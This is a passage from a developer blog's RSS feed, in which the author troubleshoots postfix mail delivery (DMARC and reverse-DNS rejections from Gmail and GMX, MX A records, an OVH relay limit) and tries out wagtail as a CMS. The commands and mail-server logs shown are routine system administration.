&lt;cite&gt;FQDN&lt;/cite&gt; to &lt;cite&gt;mail.FQDN&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;I read &lt;a class="reference external" href="https://www.heinlein-support.de/blog/mailserver/gmx-blockt-e-mail-adressen-ohne-aaaaa-record/"&gt;a blog post in German&lt;/a&gt;,
which complains that GMX refuse to accept incoming mail when the MX server of
the recipient has no A/AAAA record. Indeed we did not have an A record for
mail.SR, we “only” had a wildcard CNAME that points to SR itself. This should
theoretically be enough.  But above blog post made me try to also add an A
record for mail.SR (which of cours points to the same IP as SR itself). And
–miracle!– it it made the TB error disappear. TIL : it seems that the domain
given by the MX record (the FQDN of our mail server) needs to have its separate
A record. Just a CNAME is not enough for a mail server.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="unauthenticated-email-from-xxx-is-not-accepted-due-to-domain-s-550-5-7-26-dmarc-policy"&gt;
&lt;h2&gt;Unauthenticated email from xxx is not accepted due to domain’s 550-5.7.26 DMARC policy&lt;a class="headerlink" href="#unauthenticated-email-from-xxx-is-not-accepted-due-to-domain-s-550-5-7-26-dmarc-policy" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;We also saw this reply:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;relay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;gmail&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;smtp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;google&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;a00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;1450&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;4010&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;c06&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;bounced&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt; &lt;span class="n"&gt;gmail&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;smtp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;google&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;a00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;1450&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;4010&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;c06&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;said&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="mi"&gt;550&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;5.7.26&lt;/span&gt; &lt;span class="n"&gt;Unauthenticated&lt;/span&gt; &lt;span class="n"&gt;email&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;laudate.ee&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;accepted&lt;/span&gt; &lt;span class="n"&gt;due&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;
  &lt;span class="n"&gt;domain&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;s 550-5.7.26 DMARC policy.&lt;/span&gt;
  &lt;span class="n"&gt;Please&lt;/span&gt; &lt;span class="n"&gt;contact&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;administrator&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;laudate&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ee&lt;/span&gt; &lt;span class="n"&gt;domain&lt;/span&gt; &lt;span class="mi"&gt;550&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;5.7.26&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt; &lt;span class="n"&gt;was&lt;/span&gt;
  &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;legitimate&lt;/span&gt; &lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;Please&lt;/span&gt; &lt;span class="n"&gt;visit&lt;/span&gt; &lt;span class="mi"&gt;550&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;5.7.26&lt;/span&gt;  &lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;support&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;google&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;answer&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2451690&lt;/span&gt;
  &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;learn&lt;/span&gt; &lt;span class="n"&gt;about&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="mi"&gt;550&lt;/span&gt; &lt;span class="mf"&gt;5.7.26&lt;/span&gt; &lt;span class="n"&gt;DMARC&lt;/span&gt; &lt;span class="n"&gt;initiative&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0611.html</guid><pubDate>Thu, 11 Jun 2020 00:00:00 +0000</pubDate></item><item><title>Wednesday, June 10, 2020</title><link>https://luc.lino-framework.org/blog/2020/0610.html</link><description>&lt;section id="wednesday-june-10-2020"&gt;
&lt;h1&gt;Wednesday, June 10, 2020&lt;a class="headerlink" href="#wednesday-june-10-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="retry-wagtail-as-a-cms"&gt;
&lt;h2&gt;Retry wagtail as a CMS&lt;a class="headerlink" href="#retry-wagtail-as-a-cms" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I think we are going to use a wagtail site for the laudate project.  In theory I
would prefer to do it with a Lino site, but reality sometimes differs from
theory: the users of the laudate project won’t have time to actively contribute
to development. And why not have a look over the fence into other projects.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://docs.wagtail.io/en/stable/getting_started"&gt;https://docs.wagtail.io/en/stable/getting_started&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;First steps on the laudate server:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ cd /usr/local/lino/lino_local
$ mkdir laudate
$ cd laudate
$ virtualenv -p python3 env
$ a
$ pip install wagtail
$ wagtail start mysite
Creating a Wagtail project called mysite
Success! mysite has been created

$ cd mysite
$ pip install -r requirements.txt
$ ./manage.py migrate
$ ./manage.py createsuperuser
$ ./manage.py runserver
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I noticed that it requires Django&amp;lt;3.1&lt;/p&gt;
&lt;p&gt;I then noticed that this quick start is for a developer site. Need to adapt the
settings for a production site.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="how-to-properly-configure-postfix-and-mailman"&gt;
&lt;h2&gt;How to properly configure postfix and mailman&lt;a class="headerlink" href="#how-to-properly-configure-postfix-and-mailman" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I continued (partly with Tonis and partly with Hamza) to try to get the mail
systems running properly. I started a new section &lt;a class="reference external" href="https://hosting.lino-framework.org/mail/#admin-mail" title="(in Lino Hosting Guide)"&gt;&lt;span&gt;Running your own mail server&lt;/span&gt;&lt;/a&gt; in the
hoster’s guide of the book.&lt;/p&gt;
&lt;p&gt;Now we get another error from the recipient’s SMTP server:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;status=deferred (host mx01.emig.gmx.net[212.227.17.5] refused to talk to me: 554-gmx.net (mxgmx115)
Nemesis ESMTP Service not available 554-No SMTP service 554-Bad DNS PTR resource
record. 554 For explanation visit
&lt;a class="reference external" href="https://www.gmx.net/mail/senderguidelines?ip=95.217.218.29&amp;amp;c=rdns"&gt;https://www.gmx.net/mail/senderguidelines?ip=95.217.218.29&amp;amp;c=rdns&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;How to test an SMTP server:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ telnet lino-framework.org 465
Trying 167.114.229.225...
Connected to lino-framework.org.
Escape character is &amp;#39;^]&amp;#39;.
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;For laudate we had to uncomment the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;smtps&lt;/span&gt;&lt;/code&gt; entry in
&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/postfix/master.cf&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;smtps&lt;/span&gt;     &lt;span class="n"&gt;inet&lt;/span&gt;  &lt;span class="n"&gt;n&lt;/span&gt;       &lt;span class="o"&gt;-&lt;/span&gt;       &lt;span class="n"&gt;y&lt;/span&gt;       &lt;span class="o"&gt;-&lt;/span&gt;       &lt;span class="o"&gt;-&lt;/span&gt;       &lt;span class="n"&gt;smtpd&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Mxtools said “Reverse DNS is not a Valid Hostname” for laudate. That’s fixed
now.&lt;/p&gt;
&lt;p&gt;TIL that also reverse DNS has a propagation time.&lt;/p&gt;
&lt;p&gt;TIL that I can say &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;dig&lt;/span&gt;&lt;/code&gt; to do a DNS lookup, and  &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;dig&lt;/span&gt; &lt;span class="pre"&gt;-x&lt;/span&gt;&lt;/code&gt; to do a
reverse DNS lookup. &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;dig&lt;/span&gt; &lt;span class="pre"&gt;laudate.ee&lt;/span&gt;&lt;/code&gt; gives me &lt;cite&gt;95.217.218.29&lt;/cite&gt; and &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;dig&lt;/span&gt;
&lt;span class="pre"&gt;-x&lt;/span&gt; &lt;span class="pre"&gt;95.217.218.29&lt;/span&gt;&lt;/code&gt; gives me &lt;cite&gt;laudate.ee&lt;/cite&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ dig laudate.ee
; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.11.3-1ubuntu1.12-Ubuntu &amp;lt;&amp;lt;&amp;gt;&amp;gt; laudate.ee
;; global options: +cmd
;; Got answer:
;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR, id: 58844
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 65494
;; QUESTION SECTION:
;laudate.ee.                  IN      A

;; ANSWER SECTION:
laudate.ee.           3600    IN      A       95.217.218.29

;; Query time: 12 msec
;; SERVER: 127.0.0.53#53(127.0.0.53)
;; WHEN: Wed Jun 10 17:03:36 EEST 2020
;; MSG SIZE  rcvd: 55

$ dig -x 95.217.218.29

; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.11.3-1ubuntu1.12-Ubuntu &amp;lt;&amp;lt;&amp;gt;&amp;gt; -x 95.217.218.29
;; global options: +cmd
;; Got answer:
;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR, id: 26604
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 65494
;; QUESTION SECTION:
;29.218.217.95.in-addr.arpa.  IN      PTR

;; ANSWER SECTION:
29.218.217.95.in-addr.arpa. 72562 IN  PTR     mail.laudate.ee.

;; Query time: 6 msec
;; SERVER: 127.0.0.53#53(127.0.0.53)
;; WHEN: Wed Jun 10 17:06:59 EEST 2020
;; MSG SIZE  rcvd: 84
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But why does it say &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;mail.laudate.ee&lt;/span&gt;&lt;/code&gt; instead of simply &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;laudate.ee&lt;/span&gt;&lt;/code&gt;?&lt;/p&gt;
&lt;p&gt;Both FQDN resolve to the same IP address because we configured a wildcard in the
zone file.&lt;/p&gt;
&lt;p&gt;Note that the same is true for &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;mail.lino-framework.org&lt;/span&gt;&lt;/code&gt;, which is given as
the Reverse DNS for the IP address of LF:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ telnet mail.lino-framework.org 465
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;In the ovh console I noticed that the “Reverse DNS” for the LF server was set to
“mail.lino-framework.org”. I changed this to “lino-framework.org” (without the
“mail” subdomain). Afterwards everything (both sending and receiving a mail via
&lt;a class="reference external" href="mailto:luc&amp;#37;&amp;#52;&amp;#48;LF"&gt;luc&lt;span&gt;&amp;#64;&lt;/span&gt;LF&lt;/a&gt; using TB) was still working.&lt;/p&gt;
&lt;p&gt;It seems that the &lt;cite&gt;mail&lt;/cite&gt; subdomain (or sometimes &lt;cite&gt;smtp&lt;/cite&gt; or &lt;cite&gt;mx&lt;/cite&gt;) is general
practice.  It makes sense to have your mail server on a
different machine than your application.  Already for security reasons.
Also in order to be scalable.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://serverfault.com/questions/711600/reverse-dns-is-not-a-valid-hostname-error-from-mxtoolbox"&gt;https://serverfault.com/questions/711600/reverse-dns-is-not-a-valid-hostname-error-from-mxtoolbox&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The free “MX plan” at OVH is limited to about 100 messages per hour. With our
playing around today this limit has been reached and they blocked the account.&lt;/p&gt;
&lt;p&gt;The mail log says:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;to=&amp;lt;&lt;a class="reference external" href="mailto:luc&amp;#46;saffre&amp;#37;&amp;#52;&amp;#48;gmx&amp;#46;net"&gt;luc&lt;span&gt;&amp;#46;&lt;/span&gt;saffre&lt;span&gt;&amp;#64;&lt;/span&gt;gmx&lt;span&gt;&amp;#46;&lt;/span&gt;net&lt;/a&gt;&amp;gt;, relay=ssl0.ovh.net[193.70.18.144]:587,
status=deferred (SASL authentication failed; server ssl0.ovh.net[193.70.18.144] said: 535 5.7.1 Authentication failed)&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;It’s relatively easy to unblock it by simply changing the password. Though that
means that we need to change the &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/postfix/sasl_passwd&lt;/span&gt;&lt;/code&gt; file on every server that
uses this account.  That’s a disadvantage of using a relay host.&lt;/p&gt;
&lt;p&gt;Rather than unlocking it I’d prefer to try once more the direct way of talking
to the SMTP servers.&lt;/p&gt;
&lt;p&gt;How to change your hostname:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo hostnamectl set-hostname laudate
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;echo&lt;/span&gt; &lt;span class="pre"&gt;&amp;quot;body&amp;quot;&lt;/span&gt; &lt;span class="pre"&gt;|&lt;/span&gt; &lt;span class="pre"&gt;mail&lt;/span&gt; &lt;span class="pre"&gt;-s&lt;/span&gt; &lt;span class="pre"&gt;&amp;quot;some&lt;/span&gt; &lt;span class="pre"&gt;test&amp;quot;&lt;/span&gt; &lt;span class="pre"&gt;luc.saffre&amp;#64;gmx.net&lt;/span&gt;&lt;/code&gt; does not seem to
understand the new hostname. It is still using the original hostname &lt;cite&gt;hetz1&lt;/cite&gt;,
which I specified at creation and which we changed to &lt;cite&gt;jane&lt;/cite&gt; last week.  Yes, I
can say &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;-a&lt;/span&gt; &lt;span class="pre"&gt;&amp;quot;From:me&amp;#64;my.com&amp;quot;&lt;/span&gt;&lt;/code&gt;, but where does the &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;mail&lt;/span&gt;&lt;/code&gt; command get the
default value for the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;From:&lt;/span&gt;&lt;/code&gt; header field?&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://mailutils.org/manual/html_node/configuration.html"&gt;http://mailutils.org/manual/html_node/configuration.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I can say:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ mail --show-config-options | grep SYSCONFDIR
SYSCONFDIR=/etc       - System configuration directory
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Which means that actually the config files are in &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/main&lt;/span&gt;&lt;/code&gt;. And one of
them, &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/mail/local-host-names&lt;/span&gt;&lt;/code&gt; contains my default &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;From&lt;/span&gt;&lt;/code&gt; header.&lt;/p&gt;
&lt;p&gt;&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/mail/local-host-names&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ mail --config-lint
mail: opening configuration file /etc/mailutils.conf
mail: configuration file /etc/mailutils.conf doesn&amp;#39;t exist
mail: opening configuration file /home/luc/.mail
mail: configuration file /home/luc/.mail doesn&amp;#39;t exist
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Also I cannot find how to disable the relay host.&lt;/p&gt;
&lt;p&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;sudo&lt;/span&gt; &lt;span class="pre"&gt;postconf&lt;/span&gt; &lt;span class="pre"&gt;-d&lt;/span&gt; &lt;span class="pre"&gt;|&lt;/span&gt; &lt;span class="pre"&gt;grep&lt;/span&gt; &lt;span class="pre"&gt;relayhost&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Jun 10 12:33:19 hetz1 postfix/smtp[16646]: A8CD040107:
to=&amp;lt;&lt;a class="reference external" href="mailto:tonis&amp;#46;piip&amp;#37;&amp;#52;&amp;#48;gmail&amp;#46;com"&gt;tonis&lt;span&gt;&amp;#46;&lt;/span&gt;piip&lt;span&gt;&amp;#64;&lt;/span&gt;gmail&lt;span&gt;&amp;#46;&lt;/span&gt;com&lt;/a&gt;&amp;gt;, relay=ssl0.ovh.net[193.70.18.144]:587, delay=1.8,
delays=0.03/0.03/1.5/0.24, dsn=2.0.0, stat us=sent (250 2.0.0 Ok: queued as
404C2133B946F)&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Jun&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt; &lt;span class="n"&gt;localhost&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;pickup&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2096&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="n"&gt;DE2A7D07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1001&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="nd"&gt;@localhost&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;Jun&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt; &lt;span class="n"&gt;localhost&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cleanup&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2124&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="n"&gt;DE2A7D07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="mf"&gt;20200610155013.5&lt;/span&gt;&lt;span class="n"&gt;DE2A7D07&lt;/span&gt;&lt;span class="nd"&gt;@lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;framework&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;Jun&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt; &lt;span class="n"&gt;localhost&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;qmgr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;17652&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="n"&gt;DE2A7D07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="nd"&gt;@localhost&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;334&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;nrcpt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;queue&lt;/span&gt; &lt;span class="n"&gt;active&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Jun&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt; &lt;span class="n"&gt;localhost&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2126&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="n"&gt;DE2A7D07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="nd"&gt;@gmx&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;relay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;mx00&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;emig&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;gmx&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;212.227.15.9&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.55&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delays&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.05&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.05&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span 